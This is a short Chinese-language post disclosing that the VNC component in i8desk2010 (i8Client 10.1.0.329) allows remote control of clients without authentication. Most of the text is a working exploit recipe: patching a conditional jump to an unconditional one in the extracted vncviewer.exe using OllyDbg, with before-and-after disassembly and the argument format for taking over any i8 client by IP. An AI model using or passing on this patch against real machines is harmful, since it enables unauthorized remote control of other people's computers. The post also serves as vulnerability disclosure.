i8desk2010 内置了一个VNC远程控制,这会给维护带来很大方便,但是这个VNC有严重的问题,那就是客户端不需要身份验证即可被远程控制。
有问题的版本为:i8Client 10.1.0.329
将i8desk2010服务端内的vncviewer.exe分离出来,用OllyDbg修改以下内容,再以“IP|1”(例如:D:\vncviewer.exe 192.168.27.6|1)的格式作为参数传入vncviewer.exe便可控制任意i8客户端。
0040BB1A |. 83C4 08 ADD ESP,8
0040BB1D |. 85C0 TEST EAX,EAX
0040BB1F 74 1B JE SHORT vncview.0040BB3C ;将这个JE改成JMP,就可以远程控制任意一个i8客户端了。
0040BB21 |> 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
0040BB23 |. 68 A4BE4100 PUSH vncview.0041BEA4 ; |Title = "VNC"
0040BB1A |. 83C4 08 ADD ESP,8
0040BB1D |. 85C0 TEST EAX,EAX
0040BB1F EB 1B JMP SHORT vncview.0040BB3C ;这是改完的结果。
0040BB21 |> 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
0040BB23 |. 68 A4BE4100 PUSH vncview.0041BEA4 ; |Title = "VNC"